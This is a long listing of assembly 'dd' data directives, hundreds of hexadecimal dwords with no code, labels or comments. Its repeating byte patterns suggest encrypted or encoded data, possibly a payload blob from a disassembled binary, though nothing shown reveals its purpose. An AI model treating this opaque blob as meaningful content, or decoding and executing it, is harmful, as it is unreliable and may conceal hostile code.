		dd 2EABB132h, 1D10B6B9h, 56EAD0B8h, 5975B1C7h, 56BABCB7h
		dd 68E5D132h, 59DEA27Fh, 5657B1BFh, 565ED032h, 56D95832h
		dd 0B5DFB132h, 0E8D753D3h, 4EBDD961h, 56A8EB18h, 2916D132h
		dd 3659B624h, 37CAEB64h, 59D5B1CBh, 56EAA5B9h, 567A5832h
		dd 8047B132h, 0F88E1481h, 0ABB5DADAh, 51C1F06Fh, 0BFABB154h
		dd 56D5B134h, 7D8DC60Bh, 5675C241h, 56BAB6DBh, 0B2F30632h
		dd 43628B82h, 5DBEB132h, 8BABB132h, 9FF9050Fh, 0A40624D1h
		dd 5675676Bh, 56B7383Dh, 5EB4B132h, 0F1AEB132h,	0C43150CDh
		dd 59907D72h, 56D5B0BEh, 56EA4432h, 5678303Dh, 5E53B132h
		dd 7F5DB132h, 713669D9h, 56869AAFh, 56AB4432h, 36D5B1C7h
		dd 0D78CE963h, 377904C2h, 5C53B132h, 925DB132h,	1873B09Fh
		dd 0F67D2F1Dh, 5427BE78h, 36D5B132h, 0AEEAB153h, 0BF15B132h
		dd 56BAB122h, 0BEDA6B69h, 8A14ABC8h, 9CBF86E1h,	187453BEh
		dd 0BFD5B153h, 56EAB13Ah, 5555EACBh, 0CA24B8F9h, 58B4B132h
		dd 9AEB132h, 38E277D3h,	0DFCEA1D1h, 9A20A5C0h, 59EAB1ECh
		dd 5675B9BDh, 5435BE32h, 365DB132h, 0AFAEB153h,	56AEB132h
		dd 572CBE32h, 0AAD5B132h, 5612B132h, 57F0BE32h,	0A3BAB132h
		dd 593DB132h, 56AEB7BAh, 3A73032h, 0BFD3D87Ch, 56D5B138h
		dd 0CD772629h, 29C8BD1Fh, 56DBA624h, 565D4832h,	9525D752h
		dd 5657B9DBh, 0CA5ED532h, 262EC61Fh, 56EAD052h,	56615852h
		dd 1140B132h, 0AEF0F451h, 0BBCD9EBBh, 72CF8E7Ch, 0B9BC3592h
		dd 372CD505h, 0D78AB132h, 884D84E8h, 56BAD014h,	565DA3DBh
		dd 0A8C39B32h, 12578351h, 771704EEh, 2D8099E0h,	565D1FDAh
		dd 0AFFED132h, 0BFBAB153h, 565DB13Dh, 7C9EE7DBh, 6C524790h
		dd 13CA6F7Dh, 56EE5441h, 56EA4432h, 30A93B52h, 56DB49B9h
		dd 565D4932h, 56BE58CAh, 65EDB132h, 8223AF49h, 8B43D60Eh
		dd 34449C4Fh, 56754D18h, 56AE383Dh, 59B4B132h, 0EBAEB132h
		dd 365FA2BFh, 705C7AE3h, 81480A43h, 56EA2476h, 5672313Dh
		dd 0D9B5B132h, 565DB133h, 59AEB1C7h, 5657B0B3h,	56AB4932h
		dd 56D5A1DBh, 4BB8F332h, 5DB275E5h, 885BB695h, 0A65DAFB1h
		dd 0BFAEB153h, 5657B13Fh, 41DC58FFh, 6AC4C53Ah,	0DAAB0200h
		dd 5975B111h, 56BAB9B8h, 54D8BE32h, 36AEB132h, 0BF57B153h
		dd 56ABB123h, 22F0AD34h, 0CD56B60Eh, 5951A450h,	7E880A32h
		dd 0A35DB187h, 37CEB132h, 58BEB132h, 55ABB132h,	554D8560h
		dd 0ED7C1CB1h, 0EE6D944Ah, 0BFBAB1C1h, 565DB137h, 0DEAE7740h
		dd 5957B1A4h, 56ABBBB4h, 0DDB3D132h, 806BD7E3h,	56140B16h
		dd 4252D132h, 0DA5DB132h, 682C3F33h, 0BCEC294Eh, 2CBD473h
		dd 0E6519A68h, 0F4386A8h, 37B70E3Dh, 56BABEDBh,	0B6782132h
		dd 0B139A415h, 0B566E70Ah, 16420D8Fh, 0D4DAB132h, 56EAB13Dh
		dd 5675BBDBh, 4A8D2632h, 3693D696h, 56490B55h, 9DDCD132h
		dd 56CA69B9h, 56DF5832h, 1293B132h, 78E6EC75h, 0EC12DE4Bh
		dd 0D552B132h, 56AEB12Dh, 56D1BE52h, 0BFABB132h, 56D5B120h
		dd 0B88D35C2h, 0E6FD2BC1h, 81762DECh, 0BAB1DE4Fh, 56CF26C9h
		dd 37A2D132h, 0DFA4B132h, 56D5B135h, 56EB3C3Dh,	568DB132h
		dd 5C3DBE32h, 0BF5DB132h, 56AEB137h, 0B8427D08h, 0AAABB103h
		dd 0AEB5B132h, 0A161D762h, 5675D06Bh, 56BB363Dh, 56A5B132h
		dd 0BF2FD132h, 52EEED43h, 5724BE53h, 0AAD5B132h, 0D6E5B132h
		dd 5675B127h, 56B15852h, 4DCB132h, 0E7DDE0A8h, 2EAA1D15h
		dd 9E1CBEB5h, 0A3D5B153h, 56EB313Dh, 568CB132h,	56BA4D32h
		dd 565C363Dh, 5652B132h, 56595832h, 7EC1B132h, 5BA29EEFh
		dd 0FB638796h, 3C799546h, 8E08E252h, 563C446Ch,	0E1A1D132h
		dd 9F9431F3h, 0EECDD153h, 5A3CA21Eh, 3FEAB132h,	0FD24D34Dh
		dd 73ECB5C9h, 378B9564h, 595BB132h, 5657A4B3h, 56BB5832h
		dd 0C52CB132h, 0C72B2E38h, 0E6762623h, 36996A31h, 565DAD50h
		dd 56A63B3Dh, 0D358B132h, 56ABB130h, 56D5D052h,	1150D752h
		dd 8DCED72Fh, 0DAB5D043h, 565DB13Ah, 56AC3B3Dh,	3737B132h
		dd 36CBB132h, 56D5B4DAh, 0CAE60732h, 0ED2A4AA8h, 40C762A3h
		dd 565DD053h, 5C2FBEC7h, 3657B132h, 56AB383Dh, 0D63B132h
		dd 59EAB153h, 5675B0BAh, 56BA4932h, 0BF5DB1CEh,	56AEB121h
		dd 3BAADAB8h, 0E4DE04B5h
		dd 0FD5FCFF2h, 1FD7E1A8h, 56442AF3h, 5130BE32h,	595DB132h
		dd 56AEB0BFh, 56574832h, 56A3303Dh, 0DEDAB132h,	56EAB130h
		dd 5675D052h, 56B05852h, 41FFB132h, 0CE544BFh, 9B76E0EAh
		dd 56CAE781h, 56D54D32h, 56EB353Dh, 5680B132h, 56BA4932h
		dd 565DBADBh, 4B418C32h, 0BFD90720h, 44A005C0h,	0DBDAB132h
		dd 56EAB133h, 567858C7h, 4352B132h, 0EF921CA0h,	4B222A84h
		dd 56FF8293h, 56AB4932h, 56DF5852h, 0F69CB132h,	0DA963B94h
		dd 0F7B92797h, 565DBADBh, 62FA6B32h, 63B29C98h,	0F942A4CBh
		dd 0BFD5B153h, 56EAB13Eh, 397B9349h, 43515505h,	0DA476D01h
		dd 0DCCEB132h, 564559D0h, 44A6B132h, 3F0EC074h,	9A369C19h
		dd 75C6E5A5h, 15F31ECAh, 565DBBDBh, 0F6F64D32h,	2734621Ah
		dd 0CA9FE1Ch, 36D5B153h, 0BFB2E652h, 5675B134h,	651AF8C8h
		dd 303C9ACBh, 3785038Bh, 5657BFDBh, 2AFDBC32h, 9969CC2h
		dd 0B4838159h, 56F2A9E8h, 56B75832h, 19D9B132h,	63EB8ACAh
		dd 7977666Bh, 56EE31A2h, 56DB5832h, 7F7BB132h, 0C8E57CEBh
		dd 40B85DF7h, 0A5A6298Eh, 5652B132h, 5ADBBE32h,	0BFABB132h
		dd 56D5B135h, 0AEA0DB71h, 56C1445Eh, 4432BE32h,	595DB132h
		dd 56AEBDB0h, 56505832h, 69AFB132h, 0EBB4D78Ch,	0BFEAB110h
		dd 5675B123h, 0A7DF3937h, 0C6CDAED8h, 6D1EFAC9h, 6EA1CE6Fh
		dd 0BFABB14Dh, 56D5B138h, 0EBF2A1B2h, 6FB8C921h, 56BA0B59h
		dd 564E5852h, 0FCF7B132h, 6FEBDC62h, 0EF8A34D6h, 97869C72h
		dd 441ACACFh, 0A4F4D739h, 56DBD449h, 56505832h,	0A199B132h
		dd 3D560240h, 3377E5D0h, 56BA7BEFh, 56FE5832h, 2FA0B132h
		dd 0C5E7F676h, 0FE32C81Ch, 3BB77388h, 0E3B14DD9h, 56AB9FBCh
		dd 56D5BBDBh, 0DDC16E32h, 74316FDAh, 5600CE43h,	57D3BE32h
		dd 0AFAEB132h, 0D158B132h, 56ABB13Ah, 56D7333Dh, 378AB132h
		dd 0D67AB132h, 56BAB13Ah, 565F3B3Dh, 37CEB132h,	56AFB132h
		dd 1D1DD132h, 56D5A0DAh, 5C62F532h, 0B8444AD4h,	12C11067h
		dd 319EFF5Bh, 514739D5h, 0CE57B132h, 0EB53A73h,	378AFD90h
		dd 56EABCDBh, 0FEDDFC32h, 992F2DCFh, 0E812AB03h, 56AEEA44h
		dd 5656393Dh, 5653B132h, 0D9DAD132h, 56EAB13Ch,	5675B9DAh
		dd 0DEA4CA32h, 0C03A8DE6h, 3A1EEEEFh, 5DD9BE53h, 36ABB132h
		dd 1C033054h, 0B152D70Eh, 5675D0FAh, 36BAB1C7h,	5853054h
		dd 56BF59A1h, 29B5B132h, 3DF8FED7h, 9DEC5C56h, 6FAEFA2Dh
		dd 0AFEF772Eh, 56BAD06Ah, 0AF5DB1CEh, 3657B132h, 565759CBh
		dd 0D7F1B132h, 548EA7D8h, 5A64BE3Ah, 5975B132h,	56BAB7B8h
		dd 56D2BE32h, 36AEB132h, 5645343Dh, 5B42B132h, 0A8D5B132h
		dd 0F6CC8582h, 3EFF4C04h, 0D85F6DE6h, 452B3h, 0DBCFE6D9h
		dd 56D256B7h, 0A621D13Ah, 0BA470A54h, 19683853h, 597DB376h
		dd 56BABFB5h, 56545832h, 1223B132h, 0A42362B9h,	0DB0A2A63h
		dd 559241B0h, 0BF8AD13Ah, 5675B121h, 6E6A3728h,	0BF25DEBBh
		dd 93F0D806h, 855BAA9Eh, 363055D5h, 0BFB5D053h,	56EAB121h
		dd 0FE62A6EEh, 0F6ED9600h, 0EA9A6EC3h, 5D937BE9h, 3088F477h
		dd 37FFA38Dh, 5B58BE53h, 36EAB132h, 5675333Dh, 0D7DCB132h
		dd 37438DD5h, 12C533BBh, 0D558B930h, 56ABB12Bh,	56D5A5DBh
		dd 5F129C32h, 79CC77EFh, 5BE86321h, 0CFA6FFE3h,	0E24F0CF4h
		dd 60B15902h, 0BE5EB132h, 56D5B31Fh, 56EB3A3Dh,	3680B132h
		dd 56B83F3Dh, 373DB132h, 962C7653h, 565FB371h, 59ABB132h
		dd 56D5BAB7h, 56EC5832h, 73ACB132h, 8DB2155Dh, 57DBBE60h
		dd 0A3AEB132h, 432634F4h, 36FDB6C8h, 5650BE52h,	37EAB132h
		dd 41DD0CEh, 0BF26198Ah, 565DB13Ch, 643D906Dh, 0DCF97462h
		dd 2FC96649h, 0E32AD299h, 5110AFBFh, 567D323Dh,	0D5B5B132h
		dd 565DB130h, 0DB56D052h, 0A86DE9B7h, 86544D35h, 56D5B7DBh
		dd 0DCDC8632h, 0DF252E21h, 0AC9C84B7h, 56525835h, 507AB132h
		dd 5DCF1D06h, 294FBA24h, 2A16EC45h, 0A3EEDB1Dh,	5665B15Ah
		dd 0E9B5D132h, 0AE3DD0E1h, 5BEED953h, 0BFA2B131h, 56ABB13Dh
		dd 366373Dh, 96BC4866h,	0DF3BBE00h, 3CED7BA7h, 56535832h
		dd 2CB9B132h, 0F3D06C62h, 3A24980Dh, 93EB4C70h,	0D5E561CDh
		dd 5675B12Ch, 56AB5852h, 49E0B132h, 0CC770D3Fh,	0EAD4B524h
		dd 8F37D0C5h, 0D7719A08h, 8D9363F4h, 0AF2FD011h, 0D2B57139h
		dd 565DB1C5h, 997A0952h, 0D04957Ah, 96293853h, 59DDB371h
		dd 56EABFB4h, 567C5832h, 65B7B132h, 0DE43B86h, 0BF2A4CD2h
		dd 5657B122h, 0AE98C01Ch, 0F6DA75EDh, 4E29E84Bh, 51C462C4h
		dd 155F33BBh, 0D452B930h, 56AEB13Fh, 5657B9DBh,	0E3563232h
		dd 0A2411861h, 5A6CBE6Eh, 5975B132h, 56BAB7BBh,	56D6BE32h
		dd 0EFAEB132h, 5654BC72h, 66673152h, 371A063Dh,	651349B9h
		dd 57F9BEF2h, 0AFBAB132h, 593D1BC1h, 56AEB3B3h,	0E8140232h
		dd 401255C1h, 3C2DE353h, 56824D36h, 0AF75B122h,	56BEB15Ah
		dd 56555832h, 44E2B132h, 0C61D431Dh, 56C14267h,	56D5A3DBh
		dd 0A6D6DE32h, 5B37ED5Fh, 69519773h, 4CD7466Dh,	0A9EEBBD8h
		dd 0AC7184A0h, 36F14935h, 0D715063Dh, 2915CBC5h, 0D17AD06Bh
		dd 56BAB138h, 0E1AF3052h, 0C71AF6h, 0D4DED06Bh,	5EA9F7D7h
		dd 9D5ED752h, 0B0B842B3h, 3714DA23h, 963F3AC7h,	0AF55B371h
		dd 56A558F1h, 0FF2DB132h, 173EA73Fh, 7686872Ch,	56ED58B9h
		dd 5CF7B132h, 6A38E55Ah, 42B4D127h, 0F4AEB132h,	1744451Bh
		dd 0DB474FDEh, 4387BBDEh, 0FF79F726h, 0A37F5EE6h, 4A5733F5h
		dd 565DB6C8h, 4647B172h, 257B132h, 113A4E25h, 5AFF23B2h
		dd 224CC382h, 914B5795h, 0ACA2D8B0h, 564DB135h,	9F9D132h
		dd 0F0FE161h, 5D42D053h, 0A3D5B132h, 0E7CC904h,	467FAB18h
		dd 0BF792590h, 565DB139h, 633B93F2h, 1BDEA79Bh,	36DE71BDh
		dd 56C7343Dh, 0BF8AB132h, 5675B139h, 0CB462995h, 8DE02110h
		dd 377DD227h, 15970BB9h, 0D6A4B930h, 56D5B133h,	56D532CBh
		dd 5775353Dh, 0D546B132h, 595FA14Dh, 56AED4B6h,	57D4BE32h
		dd 0AEABB132h, 52C5CEB1h, 5674353Dh, 0DC7AB132h, 56BAB123h
		dd 56563D3Dh, 5047B132h, 8A57B132h, 0B0EA7CC2h,	42123292h
		dd 56FD3A3Dh, 449CB132h, 69BAB132h, 6A0A4213h, 7C63CAAAh
		dd 6D1ACC8Fh, 0E1CB4F2Ah, 0A94A588Eh, 45034ECDh, 0BC75B132h
		dd 0B64EF9F4h, 0A25480EEh, 0AB26BC01h, 26F8188Eh, 116C19C6h
		dd 56D5B022h, 56E55832h, 0FC81B132h, 0F517CF5Fh, 3BB16FB2h
		dd 2EBAC692h, 0A9F458E6h, 0DBA44ECDh, 56D5B124h, 56EAA0DBh
		dd 61BADA32h, 84B396F6h, 1029C6B2h, 87E843C1h, 0D7586483h
		dd 56ABB13Ah, 56D7343Dh, 378AB132h, 5565F6F5h, 36BAB132h
		dd 565D3E3Dh, 0B72FB132h, 23F60AFDh, 0A9F45853h, 0BEB54ECDh
		dd 56EAB13Dh, 19A00C20h, 2721B071h, 0CD799024h,	30480638h
		dd 0BF0D70B9h, 56ABB13Fh, 1D0D4A6h, 0B992A41Ch,	0C9706C1Ch
		dd 0AADBD020h, 73D72CAh, 56AE363Dh, 0D708B132h,	607F91C1h
		dd 0AA80D03Ah, 44035DB9h, 0EA75B132h, 0A2CA1E9Bh, 0D470B89Ah
		dd 50C22269h, 0F931E5AEh, 0D7CBD185h, 7AC753C2h, 5602D04Ah
		dd 0C75B132h, 36B95BB3h, 59B4B930h, 5AEB132h, 47D35B86h
		dd 804EC51Eh, 7FF89799h, 5803259Fh, 1F75B132h, 9FF38407h
		dd 4C955214h, 67692B92h, 55E53A30h, 0AAA3B375h,	0AFDDF4B9h
		dd 18AB7BBh, 0FB63A54h,	37433A54h, 115E33B1h, 59AAB930h
		dd 5657A4BDh, 56BB5832h
		dd 0DE93B132h, 2DAAC6DEh, 8FD24CE7h, 2C61BD91h,	0BF3C506Eh
		dd 56AEB13Ah, 0F47560Dh, 5AF87396h, 59B578CBh, 56EAB3B5h
		dd 592DE632h, 0BFDB6685h, 565DB13Dh, 0C4B3DEA6h, 0D40895D7h
		dd 0BA1EBD97h, 948A3E20h, 5103B136h, 7C75B132h,	0FE04982Eh
		dd 0BF3DAE11h, 56AEB123h, 0EEE63BAEh, 433A6C10h, 0D40E4563h
		dd 2526A97Bh, 567C5870h, 0AD25B132h, 2AB441AAh,	0BE8E4DBFh
		dd 5657B132h, 82413068h, 59DDB352h, 56EAB0B9h, 0DD804432h
		dd 54FC5480h, 37A5D13Ah, 56AEBBDBh, 90418D32h, 39F44DEh
		dd 6D540E1Dh, 54ADB280h, 0C7F1BE3Ah, 0BFBAB133h, 565DB120h
		dd 0ACFE704Eh, 0E36E2E80h, 0EB9DD1C5h, 2B3FA23h, 0DD1F2902h
		dd 89FE440Ch, 56AC343Dh, 47B4B132h, 1EAEB132h, 45AE3A48h
		dd 8BD67CC6h, 36B2C720h, 7ED6674h, 5675B4DBh, 0F6BC3932h
		dd 0E05289E4h, 4547B07Dh, 4157B132h, 75BD02EBh,	56A4EC5Fh
		dd 0EDFD117Fh, 0DD7070F9h, 114CE900h, 0D3523133h, 56AEB10Dh
		dd 565A353Dh, 5E42B132h, 40D5B132h, 27B7DC11h, 55D5FC32h
		dd 56B758EBh, 0E65BB132h, 8F2E659Eh, 0D85B39D4h, 0BF8688D5h
		dd 56D5B116h, 56E63C3Dh, 0D37AB132h, 56BAB134h,	565D323Dh
		dd 7D5BB132h, 0DC584DEBh, 56ABB13Ah, 56D7373Dh,	378AB132h
		dd 0BF364871h, 56BAB123h, 0B528DD4Ah, 15F74893h, 0F576BE19h
		dd 0E91287A6h, 0A7503A19h, 0AFED4B11h, 758C3CB9h, 0D0B5B6C8h
		dd 565DB13Dh, 56AEBBDBh, 0C6167E32h, 5EB9B6F0h,	6DA055DBh
		dd 3068BEEAh, 0BF75B132h, 56BAB123h, 0ECF11FFDh, 0D6E623CCh
		dd 500BE0FFh, 978C7D3Eh, 590C8A7Bh, 56EAF9B5h, 567D5832h
		dd 27CDB132h, 0AD88F088h, 902DB92Ch, 51BFD136h,	3CABB132h
		dd 74AFC881h, 0D7B3BC25h, 0B64BE5DBh, 0DCB5D042h, 565DB125h
		dd 0BECFD152h, 5657B13Fh, 7F207BA3h, 825BCA71h,	0DE58FC98h
		dd 0BF14EEEAh, 0A9454FA1h, 59928AC7h, 56AE96B6h, 56475832h
		dd 5BE5B132h, 137E7AC7h, 6EC8C497h, 52E39DF9h, 0EB337E31h
		dd 51A792CBh, 0DCF40452h, 1ABED0E2h, 0A3544ECCh, 0AE164D53h
		dd 4203D152h, 8E75B132h, 176138EEh, 69A2256h, 0C2C92B72h
		dd 36438E48h, 309D7D5Fh, 374753B3h, 56024953h, 0C75B132h
		dd 34795BB3h, 0AFA5B930h, 104B0BB9h, 0EFAFB930h, 56ABB032h
		dd 56C4313Dh, 5A03B132h, 9375B132h, 0DCEEE109h,	23850F6Bh
		dd 655057D5h, 57DABEF2h, 0AAABB132h, 37B51AC1h,	56FA5852h
		dd 0D41FB132h, 8BD11BB0h, 0FEF4DED2h, 57A68BD6h, 0BE37ADC0h
		dd 56ABB13Ch, 812010B5h, 3DD7DB5Eh, 4682D4ECh, 0DCE0143Bh
		dd 0DD3CD0CEh, 54E854B0h, 0D4DE493Ah, 5EA9F631h, 56D5A5DBh
		dd 7142E332h, 8E289BDFh, 2573ADF8h, 42C80A1Bh, 0B871F3F4h
		dd 0D637D0A9h, 0A7205BECh, 30B57253h, 371646B9h, 47540E52h
		dd 36DBD14Ah, 565C3D3Dh, 365BB132h, 56513B3Dh, 0D0A4B132h
		dd 56D5B132h, 56EA5953h, 0D72FB132h, 54D933D8h,	5656583Ah
		dd 0D050B132h, 90A5C2CEh, 9A656AB2h, 56D258FBh,	779AB132h
		dd 0BF24E18Ch, 5737BEF1h, 0AF5DB132h, 43DF34F4h, 0A301B6C8h
		dd 49C6885Ah, 583CD1E6h, 18EAB132h, 47C6B351h, 0B90EC753h
		dd 61B60F58h, 912FD722h, 36367D01h, 56AF3F3Dh, 0ECB3B132h
		dd 0D155EB02h, 3704D4E7h, 483704CDh, 0D052B6C8h, 56AEB13Ah
		dd 5655353Dh, 37CBB132h, 6C8D34BFh, 0D9E5B6CCh,	5675B133h
		dd 366A4ECEh, 53B479B8h, 9DAEB132h, 7E8161B6h, 5B27BE53h
		dd 0BFD5B132h, 56EAB13Ah, 658F8239h, 0B4164709h, 593D4D60h
		dd 0DDC87285h, 0BF07D0F9h, 56ABB139h, 90FEDDF4h, 0E72B0E5Dh
		dd 3E254617h, 56BA3132h, 0BF5DDBCAh, 56AEB137h,	36BDC928h
		dd 572CBED1h, 0A3D5B132h, 152A03CDh, 449CB930h,	0BCBAB132h
		dd 74EE14E1h, 2E32FBE4h, 304CAF3Eh, 0B9A59D6h, 0AA054E5Fh
		dd 36B0496Ah, 263E9088h, 56BD591Bh, 0EB4AB132h,	0F8AD247Ah
		dd 56D4BEEAh, 9ABB132h,	0D6D5D953h, 0D3E5B132h,	5675B13Dh
		dd 56BABBDBh, 4C8EA032h, 0E769AB0Bh, 3CF6A041h,	5824BE32h
		dd 0BFD5B132h, 56EAB13Bh, 6C5BD378h, 816E2068h,	0B3EF4E07h
		dd 0AAA6B374h, 0D95861CDh, 56ABB13Bh, 30F10752h, 99737FB3h
		dd 5C9CD053h, 54BAB132h, 0BB3D25D7h, 1402E78Fh,	0D458728Fh
		dd 56ABB133h, 0DD2DE4CEh, 576BBEDEh, 0AF75B132h, 5739BE52h
		dd 0AF5DB132h, 56AEB1DAh, 0BCD6EB32h, 5EA9D423h, 56D5BDDBh
		dd 4F2F3C32h, 0ADB4E5Ch, 43BC5667h, 565558D2h, 450BB132h
		dd 0D7B3B4D2h, 2320C6F2h, 0DADA483Ah, 56EAB13Ah, 15CF4D52h
		dd 379E24D1h, 565282DAh, 56BD5832h, 0F91BB132h,	2483B8CFh
		dd 0EC8974FCh, 3B19463Ch, 6A7FAF1Fh, 513ABE6Fh,	595DB132h
		dd 56AEB0B1h, 59024932h, 56ABBEBEh, 56DF5832h, 9D21B132h
		dd 0D0A2BE83h, 0CA8493F9h, 121223CDh, 0D6A1B930h, 5657B133h
		dd 0DBA4ECC7h, 56D5B12Ch, 56FE5852h, 7839B132h,	87CD94Eh
		dd 0E41FBA36h, 1F4C2F85h, 71BBE90Ah, 0DDCD2493h, 23EED0FAh
		dd 0D36FBE3Eh, 368A4ECDh, 0BF433A54h, 565DB120h, 321903h
		dd 0EA0A177Fh, 3A19183Bh, 0B6987145h, 0BE8BB98Dh, 5675BFAEh
		dd 56A83E3Dh, 0BF3DB132h, 56AEB13Ah, 65856BEEh,	57C715A1h
		dd 37033A54h, 56E25853h, 7196B132h, 9928FE0Ch, 369498C6h
		dd 56AEB6DAh, 0BC845032h, 615830FBh, 0C19D60B3h, 0D6B1CEBAh
		dd 9414C3C5h, 0DDB5B13Ah, 565DB135h, 6911D752h,	0A336445Dh
		dd 4243D167h, 4FD5B132h, 47A84952h, 5283D250h, 1E06D7D1h
		dd 48159128h, 0EE942FCDh, 12C7C321h, 9720D769h,	0BF393A53h
		dd 56EAB13Bh, 46064B41h, 0D89035E7h, 5AD4BEE7h,	59AEB132h
		dd 5657B7B9h, 562ABE32h, 0D5D5B132h, 0EC8A4DF6h, 1FF5EB08h
		dd 6743054h, 590BD0FDh,	56AEB6BAh, 57D7BE32h, 0AEABB132h
		dd 56C55865h, 10F7B132h, 0DF990BF8h, 0B659CF79h, 588671C7h
		dd 0BFFDEF34h, 5657B120h, 0C69640Ch, 553C20FBh,	79346490h
		dd 946AFD9Ch, 56520CFEh, 0C5DB132h, 30655BB3h, 0ED37B930h
		dd 2D8594F3h, 0AAB472B9h, 59E2C4B9h, 5675B9BAh,	5433BE32h
		dd 365DB132h, 46D33A53h, 905D152h, 3761063Dh, 56D0313Dh
		dd 0D78CB132h, 376153D1h, 0D8B5D165h, 565DB134h, 56AE3A3Dh
		dd 0D731B132h, 37E061E5h, 5D3CD164h, 0DAEAB132h, 290E036Ch
		dd 2874CC76h, 0BE3C05BAh, 56AEB0BBh, 565B3C3Dh,	5142B132h
		dd 0DAD5B132h, 963B7648h, 967E5395h, 5649353Dh,	593DB132h
		dd 0DDC8498Dh, 0AEDCD0EDh, 56A058CEh, 0AA3AB132h, 2F10A0B8h
		dd 95F8DC61h, 0DAB5E49Eh, 565DB13Fh, 0F70A0852h, 0D258C962h
		dd 56ABB132h, 19474E53h, 36E2B376h, 59F673B2h, 56BAA2BAh
		dd 56535832h, 3483B132h, 87783615h, 4405ECCAh, 6096FFDBh
		dd 0E98AEC53h, 782B92E5h, 23814853h, 0D8D9BE3Eh, 59AEB132h
		dd 5657A6BAh, 56B95832h, 0C10BB132h, 75DC9FD4h,	9A4EA07Fh
		dd 21AED516h, 365235EAh, 4825D7C7h, 45D9BE52h, 0BFABB132h
		dd 56D5B13Ch, 0DE36B85Bh, 0CC6C78E0h, 0A25903E4h, 0D0521BAFh
		dd 56AEB137h, 0D8E3054h, 0D1A4D067h, 56D5B133h,	0A60D31CAh
		dd 366B3BCBh, 0E4633052h, 372FB034h, 56AEBADBh,	0EE5F0A32h
		dd 0DCC098F1h, 0B6045604h, 0A6093153h, 5674393Dh, 0BE4FB132h
		dd 565D9631h, 0A87C58CEh, 30374ECDh, 0E947708Bh, 4E12C03Fh
		dd 0AA973853h, 5666383Dh, 5853B132h, 0A45DB132h, 12AF93C6h
		dd 7960913Dh, 2289A8B3h
		dd 6E3D4D71h, 0AE154EC4h, 0BE89D169h, 56BAB134h, 1E6A8284h
		dd 37F1D53Dh, 45BEEECBh, 0ACABB132h, 792E1572h,	0F89B52F7h
		dd 98FDD94Ch, 59012A91h, 0AA03EB03h, 3652F4B9h,	56513B3Dh
		dd 852AB132h, 224286F1h, 56EAB4DBh, 0B5435F32h,	9FDBF9AAh
		dd 565173CEh, 56AEB9DBh, 0FCE32232h, 1B7F669Fh,	0BEB5E41Eh
		dd 56EAB13Eh, 0A578052Eh, 192136D1h, 0D1CF99Bh,	1809098Bh
		dd 58BEEE2Ch, 9EABB132h, 2E302F82h, 52E0C76Dh, 1BB0535h
		dd 0BA31D083h, 5651363Dh, 0DBA1B132h, 5657B134h, 56AB353Dh
		dd 9256B132h, 0BFBD48CAh, 5675B138h, 2DADD1ACh,	6132BF10h
		dd 0DAA15AD6h, 5657B129h, 56BE363Dh, 463CB132h,	24EAB132h
		dd 240A48ADh, 0BBD23879h, 93A21AC7h, 367381h, 5AFE0CAh
		dd 56ABA1DBh, 1D8FC532h, 3CEE3E83h, 0F5602A57h,	3DDD865Ah
		dd 0AE1876AAh, 56AEB132h, 37FE0752h, 137333F5h,	56D4B930h
		dd 0DD1FB132h, 3080B947h, 0D3B5AFB9h, 565DB12Ah, 5621BE52h
		dd 0BF57B132h, 56ABB139h, 4A58ADDCh, 0E84623E8h, 37FF3507h
		dd 96003ACAh, 5955B371h, 56AEB9B9h, 0E958D132h,	0A720D7F1h
		dd 5E8A3A53h, 56E23B3Dh, 0D77AB132h, 56BAB130h,	8D56D052h
		dd 56D1353Dh, 5BBEB132h, 0F5ABB132h, 3730207Fh,	0D5EA36B0h
		dd 8E9FB1EAh, 0D3B56F09h, 565DB175h, 56AEBFDBh,	5B2DA332h
		dd 2422545Bh, 0CB75A257h, 0BFEE858Ch, 5675B13Ah, 0D0DC6CDBh
		dd 525E3AA6h, 0BFA2ECB9h, 5657B134h, 0BCAA6157h, 95C0DFDh
		dd 56FB583Eh, 931AB132h, 0EF099B11h, 1EBC38A0h,	0BF093C3Bh
		dd 0D51237FBh, 5942A5F5h, 0F7D5B132h, 0FF97F0A0h, 9837FE5Ch
		dd 7C402927h, 3CB4DB16h, 0AA514ECDh, 48DCD7CAh,	0BE5031CBh
		dd 5526353Dh, 0D7E5B132h, 5675B13Ah, 56B8353Dh,	373DB132h
		dd 502FBE52h, 5957B132h, 56ABB1BEh, 56DE5832h, 4953B132h
		dd 0C023765Bh, 7115E7CCh, 0ADDDD0B8h, 0E82ABEDBh, 0AF57B131h
		dd 56AA343Dh, 0D629B132h, 0D2E55AC9h, 5675B29Fh, 56BAA0DBh
		dd 0A0630D32h, 7C23BBDBh, 1DD2A7CFh, 2C13CF8h, 0AD557AB6h
		dd 3C6EBED0h, 3675B131h, 376B3A54h, 59BE4AB2h, 56ADAFB6h
		dd 0D731D132h, 0EF4341C1h, 185A795Dh, 0AD6BD753h, 0D27A5255h
		dd 56BAB277h, 0B1DD4DCAh, 56A258C2h, 0BADEB132h, 0EEB4F3B4h
		dd 97251122h, 5003944Eh, 9975B132h, 179E664Fh, 0ADDCD7ADh
		dd 0D2A1313Dh, 5657B20Fh, 56A33A3Dh, 0D6DAB132h, 56EAB130h
		dd 0B5F5D052h, 4E32BEC2h, 595DB132h, 56AEA3BAh,	565A5832h
		dd 0BB57B132h, 0F3AFCB53h, 0D4A26586h, 0D6A8469Ah, 0D2B5C1C9h
		dd 565DB237h, 4825D7C7h, 56525952h, 0A777B132h,	0E64481F1h
		dd 0D68BE8D4h, 591549D1h, 0DDDC4885h, 0ADDDD0E1h, 0C42ABE8Ah
		dd 5957B133h, 56ABBAB7h, 56D35832h, 1202B132h, 0EB530AB6h
		dd 56BABFDBh, 137D7C32h, 36F956BEh, 7E379864h, 0D603FAA1h
		dd 0D2DAB40Ch, 56EAB057h, 565D3E3Dh, 0BEDAB132h, 565DB120h
		dd 9EC816C6h, 0FC497C15h, 2A393BCDh, 6D3ADADEh,	0BFB14FC0h
		dd 5675B13Bh, 3CB4977h,	8D5AC0E8h, 4247D065h, 1657B132h
		dd 0F94373D1h, 6CC5ECBh, 8CB59D50h, 817DC141h, 0D697CDBBh
		dd 0D2529C0Ch, 56AEB027h, 0A6D6E352h, 389334B8h, 6855D06Bh
		dd 546EBE5Ah, 3675B133h, 56BAA3DBh, 74038D32h, 3C68DD61h
		dd 4833F7EDh, 63849A91h, 0E8485109h, 2D6776C2h,	8EF74E53h
		dd 59B2B377h, 565DBCB4h, 0D4A1D132h, 5657B132h,	275B3054h
		dd 0DDB3D0F7h, 0D612482Ch, 5B9C49D5h, 0A7BAB132h, 0B32FB8B5h
		dd 907D6CF6h, 597E0E75h, 0D7503054h, 0F051BEDAh, 36EAB132h
